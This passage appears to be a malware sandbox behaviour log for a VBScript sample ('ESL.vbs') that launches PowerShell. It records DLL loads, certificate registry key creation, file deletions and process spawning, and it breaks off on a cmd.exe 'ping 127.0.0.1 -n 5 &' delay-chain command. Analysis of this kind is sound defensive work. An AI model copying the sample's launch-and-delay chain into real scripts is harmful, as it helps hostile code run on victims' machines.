%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuration\a2571a4e32a586b52463d88a83702aed\System.Configuration.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter security.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\CRYPT32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter DEVRTL.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\diasymreader.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00002724)2e:T4bf,"15001600fe0700006834d3f1fe070000@ADVAPI32.dll" "0e000f00fe070000e834d3f1fe070000@ADVAPI32.dll" "0e000f00fe0700002035d3f1fe070000@ADVAPI32.dll" "11001200fe070000e839d3f1fe070000@ADVAPI32.dll" "11001200fe070000503ad3f1fe070000@ADVAPI32.dll" "12001300fe070000683ad3f1fe070000@ADVAPI32.dll" "12001300fe070000983ad3f1fe070000@ADVAPI32.dll" "14001500fe0700001052d3f1fe070000@ADVAPI32.dll" "14001500fe0700002852d3f1fe070000@ADVAPI32.dll" "14001500fe0700004052d3f1fe070000@ADVAPI32.dll" "17001800fe0700005852d3f1fe070000@ADVAPI32.dll" "0d000e00fe0700007052d3f1fe070000@ADVAPI32.dll" "0d000e00fe070000c03ad3f1fe070000@SHELL32.dll" "0d000e00fe070000203bd3f1fe070000@SHELL32.dll" "10001100fe0700007853d3f1fe070000@CRYPT32.dll" "12001300fe070000a053d3f1fe070000@CRYPT32.dll" "0f001000fe070000b853d3f1fe070000@ADVAPI32.dll" "14001500fe070000c853d3f1fe070000@CRYPT32.dll" "14001500fe070000e053d3f1fe070000@CRYPT32.dll" "14001500fe070000f853d3f1fe070000@ADVAPI32.dll" "14001500fe0700001054d3f1fe070000@ADVAPI32.dll" "14001500fe0700002854d3f1fe070000@CRYPT32.dll" "14001500fe0700004054d3f1fe070000@CRYPT32.dll" "0c000d00fe0700005854d3f1fe070000@ADVAPI32.dll" "0c000d00fe0700006854d3f1fe070000@ADVAPI32.dll"2f:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")30:T2065,"WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000000000000000000000000000000000000c0eb1a0000000000d0eb1a0000000000010000000000000000000000000000000200000000000000000000000000000000003a000000000000300400000000001cf01a0000000000d0ec1a000000000053d80b7700000000802a0400 (UID: 00000000-00003484) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000008f89cf4fe0700000000000000000000d2137afdfe07000002000000ff07000000010000000000001c0000000000000089cef6fcfe07000001000000000000009f149cf4fe070000000000000000000008f89cf4fe070000ffffffff000000008213b6fefe07000001000000 (UID: 00000000-00003484) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100f0fe0700000000000000000000d072c7f0fe0700002d2dc5f0fe070000582cc8f0fe070000a0b9090000000000b0b909000000000044eec7f0fe0700000100000000000000478e7afdfe0700000000000000000000e872c7f0fe0700000000c5f0fe0700002065c7f0fe07000001000000 (UID: 00000000-00003484) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100f0fe070000000000000000000098e664f0fe070000791463f0fe070000d08665f0fe070000c0bb090000000000e0bb09000000000090c51a00000000000100000000000000478e7afdfe0700000000000000000000b0e664f0fe0700000100000000000000a3a1f7fcfe07000001000000 (UID: 00000000-00003484) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000b02d7cf0fe0700000000000000000000d2137afdfe07000002000000fe0700000001000000000000e0bb09000000000090c51a000000000001000000000000006f1b7bf0fe0700000000000000000000b02d7cf0fe0700000100000000000000a3a1f7fcfe07000001000000 (UID: 00000000-00003484) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100000000000070bcfb030000000000e0fdffff070000000048fffe070000c011500200000000000000000000000002000000000000000000000000000000d41048fffe07000000e0faffff07000000e0fdffff07000070bcfb03000000002b0000000000000089cef6fcfe07000000e0faff (UID: 00000000-00003484) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000c0a21700000000000030fdffff070000000048fffe07000010c6260000000000000000000000000002000000000000000000000000000000d41048fffe07000000e0fdffff0700000030fdffff070000c0a21700000000001e0000000000000089cef6fcfe07000000e0fdff (UID: 00000000-00002164) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00002164) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000a0e017000000000000000000000000007718d0f1fe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000d7f1fe070000a0e017000000000000000000 (UID: 00000000-00002164) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002164) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c0000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002164) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000001de7a7fefe070000600300000000000083410c7700000000000000000000000094b1170000000000000000000000000030b21700000000003808c5e9fe070000bb21d1e9fe0700000000000000000000000000000000000000000000000000003808c5e9fe07000000000000 (UID: 00000000-00002164) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000a0a51300000000000070fdffff070000000048fffe070000f099290000000000000000000000000002000000000000000000000000000000d41048fffe07000000e0fdffff0700000070fdffff070000a0a51300000000001e0000000000000089cef6fcfe07000000e0fdff (UID: 00000000-00001544) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00001544) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000080e313000000000000000000000000007718d0f1fe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000d7f1fe07000080e313000000000000000000 (UID: 00000000-00001544) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001544) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c0000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001544) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000001de7a7fefe070000600300000000000083410c7700000000000000000000000074b4130000000000000000000000000010b5130000000000380843eafe070000bb214feafe070000000000000000000000000000000000000000000000000000380843eafe07000000000000 (UID: 00000000-00001544) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000d0a31900000000000030fdffff070000000048fffe070000b0643a0000000000000000000000000002000000000000000000000000000000d41048fffe07000000e0fdffff0700000030fdffff070000d0a31900000000001e0000000000000089cef6fcfe07000000e0fdff (UID: 00000000-00002724) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00002724) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000b0e119000000000000000000000000007718d0f1fe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000d7f1fe070000b0e119000000000000000000 (UID: 00000000-00002724)31:T152a,"WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "WScript.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")32:T8f8,"WScript.exe" called "FindFirstFileW" with parameter C:\ESL.vbs (UID: 00000000-00003484) "WScript.exe" called "FindFirstFileW" with parameter C:\powershell.* (UID: 00000000-00003484) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\powershell.* (UID: 00000000-00003484) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System\powershell.* (UID: 00000000-00003484) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\powershell.* (UID: 00000000-00003484) "WScript.exe" called "FindFirstFileW" with parameter %ALLUSERSPROFILE%\Oracle\Java\javapath\powershell.* (UID: 00000000-00003484) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\Wbem\powershell.* (UID: 00000000-00003484) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\WindowsPowerShell\v1.0\powershell.* (UID: 00000000-00003484) "WScript.exe" called "FindNextFileW" with parameter powershell.exe (UID: 00000000-00003484) "cmd.exe" called "FindFirstFileW" with parameter C:\ (UID: 00000000-00001844) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00002164) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002164) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00002164) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00002164)33:Ta50,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JD1ZC8KSEZRSQU1RDFT7.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF103707.TMP" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.2164.1063661" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.2164.1063661" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.2164.1063724" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SNBB4A2J7POYF9NT5378.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1052a2.TMP" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.1544.1070993" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.1544.1070993" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.1544.1071056" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2GCCVNZ2PP8EM6FBGKA2.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF106f07.TMP" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\Cab870A.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\Tar870B.tmp" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.2724.1077764" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.2724.1077764" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.2724.1077810" with delete access34:T33b7,Spawned process "WScript.exe" with commandline ""C:\\ESL.vbs"" (UID: 00000000-00003484) Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & 